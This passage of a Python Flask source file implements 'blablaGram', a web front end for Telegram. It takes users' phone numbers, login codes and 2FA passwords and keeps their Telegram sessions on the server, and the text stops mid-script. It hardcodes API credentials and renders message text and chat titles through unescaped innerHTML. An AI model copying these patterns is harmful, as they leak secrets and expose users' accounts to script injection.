|
|
import asyncio |
|
|
import hashlib |
|
|
import os |
|
|
import sqlite3 |
|
|
import datetime |
|
|
from pathlib import Path |
|
|
import imghdr |
|
|
|
|
|
from flask import Flask, jsonify, request, render_template_string, send_from_directory, redirect, url_for, session |
|
|
from telethon.sync import TelegramClient |
|
|
from telethon.errors import SessionPasswordNeededError, FloodWaitError, UserNotParticipantError |
|
|
from telethon.tl.functions.messages import ImportChatInviteRequest |
|
|
from telethon.tl.functions.channels import JoinChannelRequest |
|
|
from telethon.tl.types import User, Chat, Channel |
|
|
|
|
|
app = Flask(__name__) |
|
|
|
|
|
app.secret_key = os.urandom(24) |
|
|
API_ID = '22328650' |
|
|
API_HASH = '20b45c386598fab8028b1d99b63aeeeb' |
|
|
HOST = '0.0.0.0' |
|
|
PORT = 7860 |
|
|
SESSION_DIR = 'sessions' |
|
|
DOWNLOAD_DIR = 'downloads' |
|
|
DB_PATH = 'users.db' |
|
|
|
|
|
os.makedirs(SESSION_DIR, exist_ok=True) |
|
|
os.makedirs(DOWNLOAD_DIR, exist_ok=True) |
|
|
|
|
|
def init_db(): |
|
|
with sqlite3.connect(DB_PATH) as conn: |
|
|
c = conn.cursor() |
|
|
c.execute('''CREATE TABLE IF NOT EXISTS users ( |
|
|
id INTEGER PRIMARY KEY AUTOINCREMENT, |
|
|
telegram_id TEXT UNIQUE, |
|
|
username TEXT, |
|
|
phone TEXT, |
|
|
session_file TEXT, |
|
|
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP |
|
|
)''') |
|
|
conn.commit() |
|
|
|
|
|
async def get_user_client(user_id): |
|
|
with sqlite3.connect(DB_PATH) as conn: |
|
|
c = conn.cursor() |
|
|
c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,)) |
|
|
result = c.fetchone() |
|
|
if not result: |
|
|
return None, "User not found in database." |
|
|
session_file = result[0] |
|
|
|
|
|
client = TelegramClient(session_file, API_ID, API_HASH) |
|
|
try: |
|
|
await client.connect() |
|
|
if not await client.is_user_authorized(): |
|
|
return None, "Client not authorized. Please log in again." |
|
|
except Exception as e: |
|
|
return None, f"Failed to connect or authorize Telegram client: {e}" |
|
|
return client, None |
|
|
|
|
|
LOGIN_TEMPLATE = ''' |
|
|
<!DOCTYPE html> |
|
|
<html lang="en"> |
|
|
<head> |
|
|
<meta charset="UTF-8"> |
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0"> |
|
|
<title>blablaGram - Login</title> |
|
|
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet"> |
|
|
<style> |
|
|
body { font-family: 'Inter', sans-serif; background: linear-gradient(135deg, #E0EBF5 0%, #D0DBE8 100%); color: #333; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; overflow: hidden; } |
|
|
.container { background: #FFFFFF; padding: 45px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); max-width: 450px; width: 90%; text-align: center; transform: translateY(-20px); animation: fadeIn 0.8s forwards ease-out; } |
|
|
@keyframes fadeIn { from { opacity: 0; transform: translateY(-40px); } to { opacity: 1; transform: translateY(0); } } |
|
|
h1 { color: #007AFF; margin-bottom: 30px; font-size: 3em; font-weight: 700; letter-spacing: -0.8px; text-shadow: 0 1px 2px rgba(0,0,0,0.05); } |
|
|
input[type="text"], input[type="password"] { width: calc(100% - 28px); padding: 15px; margin: 12px 0; border: 1px solid #E0E6EB; border-radius: 10px; background: #F8F9FA; color: #333; font-size: 1.05em; transition: border-color 0.3s, box-shadow 0.3s; box-sizing: border-box; } |
|
|
input[type="text"]:focus, input[type="password"]:focus { border-color: #007AFF; box-shadow: 0 0 0 4px rgba(0,122,255,0.15); outline: none; background: #FFF; } |
|
|
button { background: #007AFF; color: #fff; padding: 15px 30px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.15em; font-weight: 600; margin-top: 25px; transition: background 0.3s ease, transform 0.2s ease, box-shadow 0.3s; width: 100%; box-shadow: 0 4px 15px rgba(0,122,255,0.2); } |
|
|
button:hover { background: #006ACD; transform: translateY(-2px); box-shadow: 0 6px 20px rgba(0,122,255,0.3); } |
|
|
button:active { transform: translateY(0); box-shadow: 0 2px 10px rgba(0,122,255,0.2); } |
|
|
.message { margin-top: 25px; padding: 16px; border-radius: 10px; font-size: 0.98em; line-height: 1.5; text-align: left; } |
|
|
.message.success { background: #E6FFF1; color: #1DB954; border: 1px solid #C8F0E0; } |
|
|
.message.error { background: #FFEBEE; color: #E53935; border: 1px solid #F0C8C8; } |
|
|
.message.info { background: #EBF8FF; color: #007AFF; border: 1px solid #C8E6F0; } |
|
|
.hidden { display: none; } |
|
|
@media (max-width: 600px) { |
|
|
.container { padding: 30px 25px; border-radius: 12px; } |
|
|
h1 { font-size: 2.5em; margin-bottom: 25px; } |
|
|
input[type="text"], input[type="password"] { padding: 13px; font-size: 1em; } |
|
|
button { padding: 13px 25px; font-size: 1.05em; margin-top: 20px; } |
|
|
.message { padding: 14px; font-size: 0.9em; } |
|
|
} |
|
|
</style> |
|
|
</head> |
|
|
<body> |
|
|
<div class="container"> |
|
|
<h1>blablaGram</h1> |
|
|
<div class="form"> |
|
|
<input type="text" id="phone" placeholder="Phone number (e.g., +1234567890)"> |
|
|
<button onclick="startLogin()">Start Login</button> |
|
|
<input type="text" id="code" placeholder="Verification code" class="hidden"> |
|
|
<input type="password" id="password" placeholder="Cloud password (2FA)" class="hidden"> |
|
|
<button id="submitCode" onclick="submitCode()" class="hidden">Submit Code</button> |
|
|
<button id="submitPassword" onclick="submitPassword()" class="hidden">Submit Password</button> |
|
|
</div> |
|
|
<div id="statusMessage" class="message hidden"></div> |
|
|
</div> |
|
|
<script> |
|
|
let phone = ''; |
|
|
let phoneCodeHash = ''; |
|
|
const statusMessageDiv = document.getElementById('statusMessage'); |
|
|
|
|
|
function showMessage(msg, type = 'info') { |
|
|
statusMessageDiv.textContent = msg; |
|
|
statusMessageDiv.className = `message ${type}`; |
|
|
statusMessageDiv.classList.remove('hidden'); |
|
|
} |
|
|
|
|
|
async function startLogin() { |
|
|
phone = document.getElementById('phone').value; |
|
|
if (!phone) { |
|
|
showMessage('Please enter your phone number.', 'error'); |
|
|
return; |
|
|
} |
|
|
showMessage('Sending code...', 'info'); |
|
|
document.getElementById('code').classList.add('hidden'); |
|
|
document.getElementById('password').classList.add('hidden'); |
|
|
document.getElementById('submitCode').classList.add('hidden'); |
|
|
document.getElementById('submitPassword').classList.add('hidden'); |
|
|
|
|
|
const response = await fetch('/api/login', { |
|
|
method: 'POST', |
|
|
headers: { 'Content-Type': 'application/json' }, |
|
|
body: JSON.stringify({ phone, step: 'start' }) |
|
|
}); |
|
|
const result = await response.json(); |
|
|
if (result.success) { |
|
|
if (result.phone_code_hash) { |
|
|
phoneCodeHash = result.phone_code_hash; |
|
|
document.getElementById('code').classList.remove('hidden'); |
|
|
document.getElementById('submitCode').classList.remove('hidden'); |
|
|
showMessage(result.message, 'success'); |
|
|
} else { |
|
|
showMessage(result.message + ' Redirecting to app...', 'success'); |
|
|
setTimeout(() => window.location.href = '/app', 1500); |
|
|
} |
|
|
} else { |
|
|
showMessage('Login failed: ' + result.message, 'error'); |
|
|
} |
|
|
} |
|
|
|
|
|
async function submitCode() { |
|
|
const code = document.getElementById('code').value; |
|
|
if (!code) { |
|
|
showMessage('Please enter the verification code.', 'error'); |
|
|
return; |
|
|
} |
|
|
showMessage('Submitting code...', 'info'); |
|
|
const response = await fetch('/api/login', { |
|
|
method: 'POST', |
|
|
headers: { 'Content-Type': 'application/json' }, |
|
|
body: JSON.stringify({ phone, code, phone_code_hash: phoneCodeHash, step: 'code' }) |
|
|
}); |
|
|
const result = await response.json(); |
|
|
if (result.success) { |
|
|
showMessage(result.message + ' Redirecting to app...', 'success'); |
|
|
setTimeout(() => window.location.href = '/app', 1500); |
|
|
} else if (result.password_required) { |
|
|
showMessage(result.message, 'info'); |
|
|
document.getElementById('password').classList.remove('hidden'); |
|
|
document.getElementById('submitPassword').classList.remove('hidden'); |
|
|
document.getElementById('submitCode').classList.add('hidden'); |
|
|
document.getElementById('code').classList.add('hidden'); |
|
|
} else { |
|
|
showMessage('Login failed: ' + result.message, 'error'); |
|
|
} |
|
|
} |
|
|
|
|
|
async function submitPassword() { |
|
|
const password = document.getElementById('password').value; |
|
|
if (!password) { |
|
|
showMessage('Please enter your cloud password.', 'error'); |
|
|
return; |
|
|
} |
|
|
showMessage('Submitting password...', 'info'); |
|
|
const response = await fetch('/api/login', { |
|
|
method: 'POST', |
|
|
headers: { 'Content-Type': 'application/json' }, |
|
|
body: JSON.stringify({ phone, password, step: 'password' }) |
|
|
}); |
|
|
const result = await response.json(); |
|
|
if (result.success) { |
|
|
showMessage(result.message + ' Redirecting to app...', 'success'); |
|
|
setTimeout(() => window.location.href = '/app', 1500); |
|
|
} else { |
|
|
showMessage('Login failed: ' + result.message, 'error'); |
|
|
} |
|
|
} |
|
|
</script> |
|
|
</body> |
|
|
</html> |
|
|
''' |
|
|
|
|
|
BLABLAGRAM_APP_TEMPLATE = ''' |
|
|
<!DOCTYPE html> |
|
|
<html lang="en"> |
|
|
<head> |
|
|
<meta charset="UTF-8"> |
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0"> |
|
|
<title>blablaGram</title> |
|
|
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet"> |
|
|
<style> |
|
|
body, html { margin: 0; padding: 0; height: 100%; font-family: 'Inter', sans-serif; background: #F8F9FA; overflow: hidden; } |
|
|
.app-layout { display: flex; height: 100vh; width: 100%; } |
|
|
.sidebar { flex: 0 0 340px; background: #FFFFFF; border-right: 1px solid #E5E9EC; display: flex; flex-direction: column; transition: transform 0.3s ease-in-out; } |
|
|
.sidebar-header { padding: 18px 25px; border-bottom: 1px solid #E5E9EC; display: flex; align-items: center; justify-content: space-between; } |
|
|
.sidebar-header h2 { margin: 0; font-size: 1.6em; color: #007AFF; font-weight: 700; } |
|
|
.sidebar-header .actions button { background: none; border: none; font-size: 1.5em; cursor: pointer; color: #007AFF; padding: 8px; border-radius: 8px; transition: background-color 0.2s; } |
|
|
.sidebar-header .actions button:hover { background-color: #F0F8FF; } |
|
|
.chat-list { flex: 1; overflow-y: auto; -webkit-overflow-scrolling: touch; padding-bottom: 10px;} |
|
|
.chat-item { display: flex; align-items: center; padding: 15px 25px; border-bottom: 1px solid #F5F7F9; cursor: pointer; transition: background-color 0.2s; } |
|
|
.chat-item:hover { background-color: #F9FBFC; } |
|
|
.chat-item.active { background-color: #E6F3FC; } |
|
|
.avatar-placeholder { width: 52px; height: 52px; border-radius: 50%; background-color: #007AFF; color: white; display: flex; align-items: center; justify-content: center; font-size: 1.8em; font-weight: 600; margin-right: 18px; flex-shrink: 0; } |
|
|
.chat-info { flex: 1; overflow: hidden; } |
|
|
.chat-info h3 { margin: 0 0 5px; font-size: 1.1em; font-weight: 600; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; color: #1C1C1C; } |
|
|
.chat-item.active .chat-info h3 { color: #007AFF; } |
|
|
.chat-info p { margin: 0; font-size: 0.88em; color: #66707B; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } |
|
|
|
|
|
.chat-panel { flex: 1; display: flex; flex-direction: column; background-color: #F8F9FA; background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAACMsrS6AAAAP1BMVEXy9Pbv8vTw8vXx8/X09vfy9ffx8/Ty9Pbx8/Ty9Pbx8/Xz9ffy9Pby9Pbx8/Ty9ffy9fY7N5wzAAAAFXRSTlMAYKAgsLBgIFBwYNAg0JBQMFBgYCDQX1vPAAACHklEQVR42u3V227bMBBFUUCpQxJCSDqk//+3tCStA8MDjOT6222s5zFjsmy2zLIsy7Isy7Isy7Isy7Isy7Isy7Isy7Isy/rvBvj3yZNOcws8b8A3/4eCrwX8P/h/F/yG8x9Gfo3/u/JfQf498r8s+M/I/7Hgv2Sgvyb5e0H+pfL3gvzby98L8m8vfy/Iv5r8vSC/lvz9IL9e/r0gv1r594L82srfC/Krld8X5Fe3/L0gv1b5vSD/uvJ3gvz6y98L8isv/y/Ir1Z+L8ivpfxdIL+28neD/PLK3w3yyy9/N8ivvnx/CL+y8veD/PLq3wfyK69/H8ivv/x/CL+68veD/Prq3wvyKy9/L8ivvPx/CL+88veD/Prb3wvy6y9/L8ivr/x/CL+98veD/Prt3wvy6y9/X5DfX/n+Ifz2yt8P8uv3Pxfk19f/vyC/v/L9Q/jtlf8f5Ndv/1+QX3/9/4L8/stfD/L7S18P8gsvfx/I7698f5DfX/n+IXz55e+H+PXL3w/y+y9/P8jvr/x/iD/98vdD/Pr9/wvy+y//X5Dff/n/IX795e+H+P33/x/k91/+vyC//vL/IX7/5e+H+P23vx/k99/+vyC//vL3Q/z+y98P8vvv/z/I77/8/RA/AHz54x8QAF/++AcEwJdv/gEBsO+Jf0AAbPvjHxAAu/74BwTAph/9AQGw6Y9/QABs++MfEAC7/vgHBMCmH/0BAbDpj39AAGz74x8QALv++AcEwKYf/QEB/PzDPyAA9vzxDwiArX/8AwLg0w//gADY9sc/IAC2/fEPEAC7/vgHBMDTXz8gAL788Q8IgK+//AMCIAAA/PwnAMCyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMv6n/4H0j+fL0bIRekAAAAASUVORK5CYII="); background-repeat: repeat; background-size: 150px; } |
|
|
.chat-panel-header { background: #FFFFFF; padding: 18px 25px; border-bottom: 1px solid #E5E9EC; display: flex; justify-content: space-between; align-items: center; } |
|
|
.chat-panel-header h2 { margin: 0; font-size: 1.35em; font-weight: 600; color: #1C1C1C; } |
|
|
.chat-panel-header .header-actions button { background: #007AFF; color: white; border: none; padding: 10px 18px; border-radius: 8px; cursor: pointer; font-size: 0.95em; font-weight: 500; transition: background 0.2s, transform 0.2s; } |
|
|
.chat-panel-header .header-actions button:hover { background: #006ACD; transform: translateY(-1px); } |
|
|
.chat-panel-header .header-actions button:active { transform: translateY(0); } |
|
|
.chat-panel-header .header-actions .switch-account { background: #6C757D; margin-left: 10px; } |
|
|
.chat-panel-header .header-actions .switch-account:hover { background: #5A6268; } |
|
|
|
|
|
.messages-container { flex: 1; overflow-y: auto; padding: 20px; display: flex; flex-direction: column-reverse; -webkit-overflow-scrolling: touch; } |
|
|
.load-more-btn { background: #007AFF; color: white; border: none; padding: 8px 15px; border-radius: 8px; cursor: pointer; font-size: 0.85em; margin-bottom: 15px; align-self: center; transition: background 0.2s; } |
|
|
.load-more-btn:hover { background: #006ACD; } |
|
|
|
|
|
.message-item { max-width: 75%; padding: 12px 16px; border-radius: 20px; margin-bottom: 10px; line-height: 1.45; word-wrap: break-word; font-size: 0.95em; box-shadow: 0 1px 2px rgba(0,0,0,0.08); position: relative; } |
|
|
.message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 6px; } |
|
|
.message-item.received { background: #FFFFFF; align-self: flex-start; border-bottom-left-radius: 6px;} |
|
|
.message-sender { font-weight: 600; color: #007AFF; margin-bottom: 5px; display: block; font-size: 0.88em; } |
|
|
.message-text { color: #111; word-break: break-word; } |
|
|
.message-meta { font-size: 0.72em; color: #88909B; margin-top: 6px; text-align: right; } |
|
|
.media-image { max-width: 100%; height: auto; display: block; margin-top: 8px; border-radius: 8px; } |
|
|
.media-link { display: block; margin-top: 8px; color: #007AFF; text-decoration: none; font-weight: 500; word-break: break-all; font-size: 0.9em; } |
|
|
.media-link:hover { text-decoration: underline; } |
|
|
|
|
|
.chat-input-area { background: #F8F9FA; padding: 12px 25px; border-top: 1px solid #E5E9EC; display: flex; align-items: flex-end; gap: 12px; } |
|
|
.chat-input-area textarea { flex: 1; padding: 13px 18px; border: 1px solid #DDE2E7; border-radius: 22px; background: #FFFFFF; resize: none; overflow-y: auto; max-height: 120px; font-size: 1em; line-height: 1.4; transition: border-color 0.3s, box-shadow 0.3s; box-sizing: border-box; } |
|
|
.chat-input-area textarea:focus { border-color: #007AFF; box-shadow: 0 0 0 4px rgba(0,122,255,0.1); outline: none; } |
|
|
.chat-input-area button { background: #007AFF; color: #fff; width: 48px; height: 48px; border: none; border-radius: 50%; cursor: pointer; font-size: 1.6em; display: flex; align-items: center; justify-content: center; transition: background 0.2s, transform 0.2s, box-shadow 0.2s; flex-shrink: 0; box-shadow: 0 2px 8px rgba(0,122,255,0.2); } |
|
|
.chat-input-area button:hover { background: #006ACD; transform: translateY(-1px); box-shadow: 0 4px 10px rgba(0,122,255,0.3); } |
|
|
.chat-input-area button:active { transform: translateY(0); box-shadow: 0 1px 5px rgba(0,122,255,0.2); } |
|
|
|
|
|
.no-chat-selected { display: flex; justify-content: center; align-items: center; flex: 1; color: #777; font-size: 1.2em; text-align: center; } |
|
|
.join-chat-section { padding: 15px 25px; border-top: 1px solid #E5E9EC; display: flex; gap: 10px; background-color: #FFFFFF; } |
|
|
.join-chat-section input { flex: 1; padding: 12px 15px; border: 1px solid #DDE2E7; border-radius: 10px; font-size: 0.95em; } |
|
|
.join-chat-section button { background: #28A745; color: white; padding: 0 18px; border: none; border-radius: 10px; cursor: pointer; font-weight: 500; transition: background 0.2s; } |
|
|
.join-chat-section button:hover { background: #218838; } |
|
|
|
|
|
/* Mobile Adaptation */ |
|
|
@media (max-width: 768px) { |
|
|
.app-layout { flex-direction: column; } |
|
|
.sidebar { flex: 0 0 auto; width: 100%; height: 100vh; position: absolute; top: 0; left: 0; z-index: 1000; transform: translateX(-100%); box-shadow: 2px 0 10px rgba(0,0,0,0.1); } |
|
|
.sidebar.active { transform: translateX(0); } |
|
|
.chat-panel { width: 100%; height: 100vh; position: relative; } |
|
|
.sidebar-toggle-button { display: block; background: none; border: none; font-size: 1.8em; color: #007AFF; cursor: pointer; padding: 0 10px; margin-right: 10px; } |
|
|
.sidebar-header { justify-content: flex-start; } /* Align items to start when toggle is present */ |
|
|
.sidebar-header h2 { flex-grow: 1; text-align: center; margin-right: 20px; } /* Center title but allow space for toggle */ |
|
|
.sidebar-header .actions { margin-left: auto; } |
|
|
|
|
|
.chat-panel-header { padding: 15px 15px; } |
|
|
.chat-panel-header h2 { font-size: 1.15em; } |
|
|
.chat-input-area { padding: 10px 15px; } |
|
|
.message-item { max-width: 85%; padding: 10px 14px; font-size: 0.9em; } |
|
|
.avatar-placeholder { width: 44px; height: 44px; font-size: 1.5em; margin-right: 12px; } |
|
|
.chat-item { padding: 12px 15px; } |
|
|
} |
|
|
@media (min-width: 769px) { |
|
|
.sidebar-toggle-button { display: none; } |
|
|
} |
|
|
</style> |
|
|
</head> |
|
|
<body> |
|
|
<div class="app-layout"> |
|
|
<div class="sidebar" id="sidebar"> |
|
|
<div class="sidebar-header"> |
|
|
<button class="sidebar-toggle-button" onclick="toggleSidebar()">☰</button> |
|
|
<h2>blablaGram</h2> |
|
|
<div class="actions"> |
|
|
<button onclick="newMessage()" title="New Message">✎</button> |
|
|
</div> |
|
|
</div> |
|
|
<div class="chat-list" id="chatList"></div> |
|
|
<div class="join-chat-section"> |
|
|
<input type="text" id="joinChatIdentifier" placeholder="Join link or @username"> |
|
|
<button onclick="joinChat()">Join</button> |
|
|
</div> |
|
|
</div> |
|
|
<div class="chat-panel" id="chatPanel"> |
|
|
<div class="chat-panel-header" id="appHeader"> |
|
|
<button class="sidebar-toggle-button" onclick="toggleSidebar()">←</button> |
|
|
<div id="chat-header-info"> |
|
|
<h2 id="chatTitle" style="display:none;"></h2> |
|
|
</div> |
|
|
<div class="header-actions"> |
|
|
<button onclick="logout(true)" class="switch-account">Switch Account</button> |
|
|
<button onclick="logout(false)">Logout</button> |
|
|
</div> |
|
|
</div> |
|
|
<div class="no-chat-selected" id="noChatSelected"> |
|
|
<p>Select a chat to start messaging</p> |
|
|
<p>Or click '✎' for a new message or enter a link/username to join a chat.</p> |
|
|
</div> |
|
|
<div class="messages-container" id="messagesContainer" style="display:none;"> |
|
|
<button class="load-more-btn" id="loadMoreMessagesBtn" style="display:none;">Load More Messages</button> |
|
|
</div> |
|
|
<div class="chat-input-area" id="chatInputArea" style="display:none;"> |
|
|
<input type="file" id="fileInput" style="display: none;" onchange="handleFileSelect()"> |
|
|
<button onclick="document.getElementById('fileInput').click()" title="Attach File">📎</button> |
|
|
<textarea id="messageInput" placeholder="Message or caption" rows="1"></textarea> |
|
|
<button onclick="sendMessage()">➤</button> |
|
|
</div> |
|
|
</div> |
|
|
</div> |
|
|
|
|
|
<script> |
|
|
let currentChatId = null; |
|
|
let currentNextOffsetId = null; |
|
|
let isSidebarOpen = false; |
|
|
const MESSAGES_LIMIT = 30; |
|
|
|
|
|
function toggleSidebar() { |
|
|
const sidebar = document.getElementById('sidebar'); |
|
|
isSidebarOpen = !isSidebarOpen; |
|
|
if (isSidebarOpen) { |
|
|
sidebar.classList.add('active'); |
|
|
} else { |
|
|
sidebar.classList.remove('active'); |
|
|
} |
|
|
} |
|
|
|
|
|
function adjustTextareaHeight() { |
|
|
const textarea = document.getElementById('messageInput'); |
|
|
textarea.style.height = 'auto'; |
|
|
textarea.style.height = Math.min(textarea.scrollHeight, 120) + 'px'; |
|
|
} |
|
|
document.getElementById('messageInput').addEventListener('input', adjustTextareaHeight); |
|
|
|
|
|
async function fetchChats() { |
|
|
const response = await fetch('/api/user_chats'); |
|
|
const result = await response.json(); |
|
|
const chatListDiv = document.getElementById('chatList'); |
|
|
chatListDiv.innerHTML = ''; |
|
|
if (result.success && result.chats) { |
|
|
result.chats.forEach(chat => { |
|
|
const chatItem = document.createElement('div'); |
|
|
chatItem.className = 'chat-item'; |
|
|
if (currentChatId === chat.id) { |
|
|
chatItem.classList.add('active'); |
|
|
} |
|
|
chatItem.dataset.id = chat.id; |
|
|
chatItem.onclick = () => selectChat(chat.id); |
|
|
chatItem.innerHTML = ` |
|
|
<div class="avatar-placeholder">${chat.avatar_initial}</div> |
|
|
<div class="chat-info"> |
|
|
<h3>${chat.title}</h3> |
|
|
<p>${chat.type}</p> |
|
|
</div> |
|
|
`; |
|
|
chatListDiv.appendChild(chatItem); |
|
|
}); |
|
|
} else { |
|
|
chatListDiv.innerHTML = `<p style="padding: 20px; text-align: center; color: #777;">${result.message || 'No chats found.'}</p>`; |
|
|
} |
|
|
} |
|
|
|
|
|
async function selectChat(chatId) { |
|
|
currentChatId = chatId; |
|
|
currentNextOffsetId = null; |
|
|
|
|
|
document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active')); |
|
|
document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active'); |
|
|
|
|
|
const selectedChat = document.querySelector(`.chat-item[data-id="${chatId}"]`); |
|
|
const chatTitle = selectedChat.querySelector('h3').textContent; |
|
|
|
|
|
document.getElementById('noChatSelected').style.display = 'none'; |
|
|
document.getElementById('chatTitle').textContent = chatTitle; |
|
|
document.getElementById('chatTitle').style.display = 'block'; |
|
|
document.getElementById('messagesContainer').style.display = 'flex'; |
|
|
document.getElementById('chatInputArea').style.display = 'flex'; |
|
|
document.getElementById('messagesContainer').innerHTML = ''; |
|
|
document.getElementById('loadMoreMessagesBtn').style.display = 'none'; |
|
|
|
|
|
if (window.innerWidth <= 768) { |
|
|
toggleSidebar(); |
|
|
} |
|
|
await fetchMessages(chatId); |
|
|
} |
|
|
|
|
|
async function fetchMessages(chatId, offsetId = null) { |
|
|
const messagesContainer = document.getElementById('messagesContainer'); |
|
|
const loadMoreBtn = document.getElementById('loadMoreMessagesBtn'); |
|
|
|
|
|
if (!offsetId) { // First load for this chat |
|
|
messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Loading messages...</p>'; |
|
|
loadMoreBtn.style.display = 'none'; |
|
|
} else { |
|
|
loadMoreBtn.textContent = 'Loading...'; |
|
|
loadMoreBtn.disabled = true; |
|
|
} |
|
|
|
|
|
const url = `/api/chat_messages/${chatId}?limit=${MESSAGES_LIMIT}${offsetId ? '&offset_id=' + offsetId : ''}`; |
|
|
const response = await fetch(url); |
|
|
const result = await response.json(); |
|
|
|
|
|
if (!offsetId) { // Clear only on initial load |
|
|
messagesContainer.innerHTML = ''; |
|
|
} |
|
|
|
|
|
if (result.success && result.messages) { |
|
|
result.messages.reverse().forEach(msg => { |
|
|
const messageItem = document.createElement('div'); |
|
|
messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`; |
|
|
|
|
|
let senderInfo = !msg.is_sent && msg.sender_name ? `<span class="message-sender">${msg.sender_name}</span>` : ''; |
|
|
let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : ''; |
|
|
let mediaHtml = ''; |
|
|
|
|
|
if (msg.file_name) { |
|
|
const downloadLink = `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>`; |
|
|
if (msg.is_image) { |
|
|
mediaHtml = `<img src="/download/${msg.file_name}" class="media-image" alt="Attached Image">${downloadLink}`; |
|
|
} else { |
|
|
mediaHtml = downloadLink; |
|
|
} |
|
|
} |
|
|
|
|
|
let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : ''; |
|
|
let metaHtml = `<div class="message-meta">${msg.date}</div>`; |
|
|
|
|
|
messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`; |
|
|
messagesContainer.prepend(messageItem); |
|
|
}); |
|
|
|
|
|
currentNextOffsetId = result.next_offset_id; |
|
|
if (currentNextOffsetId) { |
|
|
loadMoreBtn.style.display = 'block'; |
|
|
loadMoreBtn.textContent = 'Load More Messages'; |
|
|
loadMoreBtn.disabled = false; |
|
|
} else { |
|
|
loadMoreBtn.style.display = 'none'; |
|
|
} |
|
|
|
|
|
if (!offsetId) { // Only scroll to bottom on initial load |
|
|
messagesContainer.scrollTop = messagesContainer.scrollHeight; |
|
|
} |
|
|
} else { |
|
|
if (!offsetId) { |
|
|
messagesContainer.innerHTML = `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`; |
|
|
} else { |
|
|
messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">No more messages.</p>' + messagesContainer.innerHTML; |
|
|
loadMoreBtn.style.display = 'none'; |
|
|
} |
|
|
} |
|
|
} |
|
|
|
|
|
document.getElementById('loadMoreMessagesBtn').addEventListener('click', () => { |
|
|
if (currentChatId && currentNextOffsetId) { |
|
|
fetchMessages(currentChatId, currentNextOffsetId); |
|
|
} |
|
|
}); |
|
|
|
|
|
async function newMessage() { |
|
|
const recipient = prompt("Enter recipient's username (e.g., @username) or chat ID:"); |
|
|
if (!recipient) return; |
|
|
const message = prompt("Enter your message:"); |
|
|
if (!message || !message.trim()) return; |
|
|
|
|
|
const response = await fetch('/api/send_message', { |
|
|
method: 'POST', |
|
|
headers: { 'Content-Type': 'application/json' }, |
|
|
body: JSON.stringify({ chat_id: recipient, message: message }) |
|
|
}); |
|
|
const result = await response.json(); |
|
|
alert(result.message); |
|
|
if (result.success) { |
|
|
fetchChats(); |
|
|
} |
|
|
} |
|
|
|
|
|
async function sendMessage() { |
|
|
if (!currentChatId) return; |
|
|
const messageInput = document.getElementById('messageInput'); |
|
|
const message = messageInput.value; |
|
|
if (!message.trim()) return; |
|
|
|
|
|
messageInput.value = ''; |
|
|
adjustTextareaHeight(); |
|
|
|
|
|
const messagesContainer = document.getElementById('messagesContainer'); |
|
|
messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Sending message...</p>' + messagesContainer.innerHTML; |
|
|
|
|
|
const response = await fetch('/api/send_message', { |
|
|
method: 'POST', |
|
|
headers: { 'Content-Type': 'application/json' }, |
|
|
body: JSON.stringify({ chat_id: currentChatId, message }) |
|
|
}); |
|
|
const result = await response.json(); |
|
|
if (result.success) { |
|
|
currentNextOffsetId = null; // Reset offset to fetch all latest messages |
|
|
await fetchMessages(currentChatId); |
|
|
} else { |
|
|
alert('Failed to send message: ' + result.message); |
|
|
messageInput.value = message; |
|
|
adjustTextareaHeight(); |
|
|
} |
|
|
} |
|
|
|
|
|
async function handleFileSelect() { |
|
|
const fileInput = document.getElementById('fileInput'); |
|
|
if (fileInput.files.length === 0) return; |
|
|
|
|
|
const file = fileInput.files[0]; |
|
|
const messageInput = document.getElementById('messageInput'); |
|
|
const caption = messageInput.value; |
|
|
|
|
|
const formData = new FormData(); |
|
|
formData.append('chat_id', currentChatId); |
|
|
formData.append('file', file); |
|
|
formData.append('caption', caption); |
|
|
|
|
|
messageInput.value = ''; |
|
|
fileInput.value = ''; |
|
|
adjustTextareaHeight(); |
|
|
|
|
|
const messagesContainer = document.getElementById('messagesContainer'); |
|
|
messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Uploading file...</p>' + messagesContainer.innerHTML; |
|
|
|
|
|
const response = await fetch('/api/send_file', { |
|
|
method: 'POST', |
|
|
body: formData |
|
|
}); |
|
|
const result = await response.json(); |
|
|
if (result.success) { |
|
|
currentNextOffsetId = null; |
|
|
await fetchMessages(currentChatId); |
|
|
} else { |
|
|
alert('Failed to send file: ' + result.message); |
|
|
} |
|
|
} |
|
|
|
|
|
async function joinChat() { |
|
|
const chatIdentifier = document.getElementById('joinChatIdentifier').value; |
|
|
if (!chatIdentifier.trim()) { |
|
|
alert('Please enter a channel/group username or invite link.'); |
|
|
return; |
|
|
} |
|
|
const response = await fetch('/api/join_chat', { |
|
|
method: 'POST', |
|
|
headers: { 'Content-Type': 'application/json' }, |
|
|
body: JSON.stringify({ chat_identifier: chatIdentifier }) |
|
|
}); |
|
|
const result = await response.json(); |
|
|
alert(result.message); |
|
|
if (result.success) { |
|
|
document.getElementById('joinChatIdentifier').value = ''; |
|
|
await fetchChats(); |
|
|
